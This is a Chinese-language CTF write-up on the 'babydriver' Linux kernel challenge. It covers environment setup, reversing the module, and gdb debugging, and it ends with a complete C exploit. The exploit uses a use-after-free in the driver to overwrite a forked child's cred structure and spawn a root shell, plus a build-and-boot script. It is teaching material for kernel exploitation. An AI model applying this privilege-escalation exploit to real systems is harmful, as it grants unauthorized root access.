分析
拿到babydriver
题目附件后得到的文件如下:
发现运行内核就报错,内容如下:
Could not access KVM kernel module: No such file or directory qemu-system-x86_64: failed to initialize KVM: No such file or directory
未能初始化kvm,大概率是因为系统不支持虚拟化,具体可通过如下命令查看是否支持
egrep '^flags.*(vmx|svm)' /proc/cpuinfo
#输出空则表示不支持
因为我用的pd虚拟机所以设置如下:
要修改这个选项的话需要先关机虚拟机然后才能改这个设置。
在输入上面的命令看看输出情况如下图,ok成功启动
系统信息如下:
首先查看init文件默认加载的信息,如下:
简单的了解到这题是需要进行内核提权,那么就需要获取到目标的内核漏洞模块(babydriver.ko
)
思路
使用file rootfs.cpio
查看文件如图,发现是个gzip文件
那么对它进行改后缀名为.gz
文件即可解压了,得到CPIO格式的文件即可正常的处理解压得到文件系统了
mv rootfs.cpio rootfs.cpio.gz
gunzip rootfs.cpio.gz
mkdir rootfs #用于存放文件系统
cd rootfs
cpio -idmv < ../rootfs.cpio
那么现在目标模块的在rootfs/lib/modules/4.4.72/
下
保护
先看看上面的checksec检查的保护:
将babydriver.ko
放入IDA中进入到babydriver_init模块入口函数,简单分析如下:
模块流程核心函数如下:
具体定义:
/*
*alloc_chrdev_Region()-注册一系列字符设备号
*@dev:第一个分配号码的输出参数
*@basminor:请求的次要号码范围中的第一个
*@count:需要的次要号码数
*@name:关联设备或驱动程序的名称
*/
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count,
const char *name)
{
struct char_device_struct *cd;
cd = __register_chrdev_region(0, baseminor, count, name);
if (IS_ERR(cd))
return PTR_ERR(cd);
*dev = MKDEV(cd->major, cd->baseminor);
return 0;
}
/**
*CDEV_init()-初始化CDEV结构
*@CDEV:要初始化的结构
*@fops:该设备的FILE_OPERIONS
*/
void cdev_init(struct cdev *cdev, const struct file_operations *fops)
{
memset(cdev, 0, sizeof *cdev);
INIT_LIST_HEAD(&cdev->list);
kobject_init(&cdev->kobj, &ktype_cdev_default);
cdev->ops = fops;
}
/**
*CDEV_Add()-向系统添加设备
*@p:设备的CDEV结构
*@dev:该设备负责的第一个设备号
*@count:与此对应的连续次要编号的个数设备
*
*CDEV_Add()将@p表示的设备添加到系统中,使其
*立即上线。如果失败,则返回负错误代码。
*/
int cdev_add(struct cdev *p, dev_t dev, unsigned count)
{
int error;
p->dev = dev;
p->count = count;
error = kobj_map(cdev_map, dev, count, NULL,
exact_match, exact_lock, p);
if (error)
return error;
kobject_get(p->kobj.parent);
return 0;
}
/**
*CLASS_CREATE-创建结构类结构
*@Owner:指向“拥有”此结构类的模块的指针
*@name:指向此类名称的字符串的指针。
*@key:此类的lock_CLASS_KEY;用于互斥锁调试
*
*这用于创建结构类指针,然后可以使用该指针
*在对Device_Create()的调用中。
*
*成功时返回&struct类指针,错误时返回err_ptr()。
*
*注意,此处创建的指针在完成时将被销毁
*调用CLASS_Destroy()。
*/
struct class *__class_create(struct module *owner, const char *name,
struct lock_class_key *key)
{
struct class *cls;
int retval;
cls = kzalloc(sizeof(*cls), GFP_KERNEL);
if (!cls) {
retval = -ENOMEM;
goto error;
}
cls->name = name;
cls->owner = owner;
cls->class_release = class_create_release;
retval = __class_register(cls, key);
if (retval)
goto error;
return cls;
error:
kfree(cls);
return ERR_PTR(retval);
}
/**
*DEVICE_CREATE-创建设备并将其注册到系统文件系统
*@CLASS:指向此设备应注册到的结构类的指针
*@Parent:指向此新设备的父结构设备的指针(如果有
*@Devt:要添加的Charr设备的dev_t
*@drvdata:要添加到设备中进行回调的数据
*@fmt:设备名称字符串
*/
struct device *device_create(struct class *class, struct device *parent,
dev_t devt, void *drvdata, const char *fmt, ...)
{
va_list vargs;
struct device *dev;
va_start(vargs, fmt);
dev = device_create_vargs(class, parent, devt, drvdata, fmt, vargs);
va_end(vargs);
return dev;
}
babyopen函数:
可以注意到参数分别是struct inode *inode, struct file *filp
inode
结构存储有关文件和目录(文件夹)的信息,例如文件所有权、访问模式(读取、写入、执行权限)和文件类型。
file
结构代表一个打开的文件。(它不特定于设备驱动程序;系统中每个打开的文件在struct file
内核空间中都有一个关联。)直到最后一个close。在文件的所有实例都关闭后,内核释放数据结构
babyread:
babywrite:
babyioctl:
babyrelease函数:
综上可知release函数
存在一个uaf漏洞,ioctl函数
可以重新分配指定大小的堆块
那么现在获取vmlinux
可通过上面👆的extract-vmlinux.sh
脚本得到,但是逆向工程的时候它的函数名都是识别不了的,具体如下图:
那么推荐vmlinux-to-elf
工具,可以自动检测以下内核压缩格式:XZ、LZMA、GZip、BZ2、LZ4、LZO 和 Zstd,它是python库,安装命令如下:
sudo pip3 install git+https://github.com/marin-m/vmlinux-to-elf
#使用:vmlinux-to-elf <input_kernel.bin> <output_kernel.elf> ---> vmlinux-to-elf bzImage vmlinux
现在需要在文件系统写一个可执行文件的exp利用题目模块提供的函数进行提权
比如:将一个demo.c
文件编译成demo
文件再将它放入到rootfs
目录下对他重新打包运行到内核中即可在内核中运行它了,一般这个demo.c
文件就是我们写的exp进行攻击提取的payload
gdb调试exp
在做用户态的pwn题时,gdb功能少不了那么内核态也是一样的,写入测试文件exp.c
:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main() {
open("/dev/babydev", O_RDWR); // 可读写
return 0;
}
然后gcc -o roots/exp -static exp.c
因为题目的文件系统没有动态链接库所以这里采用静态链接方式写入exp
程序到内核系统中,然后进入到rootfs目录下
重新打包文件系统,命令如下:
cd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio
执行boot.sh
文件启动内核,如果boot.sh
中没有加-s
映射端口参数就手动添加进去,启动内核如下图:
这是就可以挂起gdb调试了命令如下:
gdb -ex "file vmlinux"\
-ex "add-symbol-file babydriver.ko 0xffffffffc0000000"\ #手动加载ko符号,下面就可以设置函数断电了,0xffffffffc0000000是模块的基地址,在内核 系统中执行lsmod即可得到
-ex "target remote localhost:1234"\
-ex "b babyopen" \
执行后即可正常下入断点
然后就是gdb跳入到断点,右边执行exp即可断下来
后面就可以利用漏洞模块进行攻击提权了
利用
linux系统中,一个对象操作另一个对象时通常要做安全性检查。如一个进程操作一个文件,要检查进程是否有权限操作该文件。
通过ps -f
命令即可得到该正在运行的进程,如下:
从上面可以看到进程的详细信息su程序的用户的是root,设有SETUID标志则普通用户在执行该程序时可以修改需要root权限的/etc/passwd
文件
当使用sudo
进暂时提权运行程序时:实际用户uid=500(redhat)不变,保存用户suid、有效用户euid均变成0(root)
内核中主要有三个用户:uid(实际用户)、euid(有效用户)、suid(保存用户),可通过setuid、seteuid、setreuid系统调用实现用户切换
那么到这里就引出了一个关键的结构体cred
,它用于 保存每个进程的权限定义如下:
struct cred {
atomic_t usage;
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
kuid_t uid; /* 实际用户id */
kgid_t gid; /* 实际用户组id */
kuid_t suid; /* 保存的用户uid */
kgid_t sgid; /* 保存的用户组gid */
kuid_t euid; /* 真正有效的用户id */
kgid_t egid; /* 真正有效的用户组id */
kuid_t fsuid;
kgid_t fsgid;
unsigned securebits; /* 安全管理标识;用来控制凭证的操作与继承 */
kernel_cap_t cap_inheritable; /* execve时可以继承的权限 */
kernel_cap_t cap_permitted; /* 可以(通过capset)赋予cap_effective的权限 */
kernel_cap_t cap_effective; /* 进程实际使用的权限 */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
//。。。。。。
};
} __randomize_layout;
我们知道root
身份的id
和组id
都是0表示最高权限,一般我们使用的管理员用户就是1000
那么我们在内核创建一个新的进程时,改变进程的cred结构体
的uid和gid
都为0也就完成了提权到root
整体思路如下:
- 利用漏洞模块中的
uaf
将struct cred
分配到我们可写的内存区
- 修改该进程的
uid、gid
值为0
- 在该进程中以
root身份
执行system('/bin/sh')
最终提权
现在回到逆向工程中,open()
申请了一块0x40
大小的内存块,release()
存在一个uaf
,而ioctl()
将申请的内存块free
掉然后用户指定的size
再次申请有点类似于malloc()
和realloc()
,那么我们就只需要得到struct cred
的内存大小,然后造成一个悬指针即可控制struct cred
了
因为题目给的压缩内核镜像不带符号表,我们可以自己编译一个一样版本的内核镜像,再gdb调试计算struct cred
大小
编写exp.c
如下:
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>
int main() {
/*在用户进程空间中,当执行close(fd)之后,该进程将无法再使用这个文件描述符
*因为题目的分配内存的指针保存在bss段babydev_struct中
*所以alloc两个fd这样后面就可以通过修改fd2对device_buf操作
*/
int fd1 = open("/dev/babydev", O_RDWR); // alloc1
int fd2 = open("/dev/babydev", O_RDWR); // alloc2
ioctl(fd1, 0x10001, 0xa8); // realloc size -> 0xa8对应着进程cred大小
close(fd1); // free -> uaf
if (!fork()) { //注意这里采用fork()分配进程,最终会执行prepare_creds得到创建cred结构体目的
//子进程
char mem[28]; // 大小为sizeof(atomic_t)*2 + sizeof(void *) + sizeof(unsigned) + sizeof(kuid_t)*2 刚好覆盖到uid、gid
memset(mem, '\x00', sizeof(mem));
write(fd2, mem, sizeof(mem)); //覆盖数据
// get shell
system("/bin/sh");
}
else
waitpid(-1, NULL, 0);//这里需要等待子进程,如果父进程结束那么子进程则无法在getshell后输入输出
return 0;
}
最终将exp.c
编译成可执行文件放入文件系统重新打包,内核运行./exp
即可提权到root
上述的一些操作可以写成一个脚本如下:
start.sh
# 静态编译 exp
gcc exp.c -static -o rootfs/exp
# rootfs 打包
pushd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio
popd
# 启动 qemu
sudo qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s
工作目录: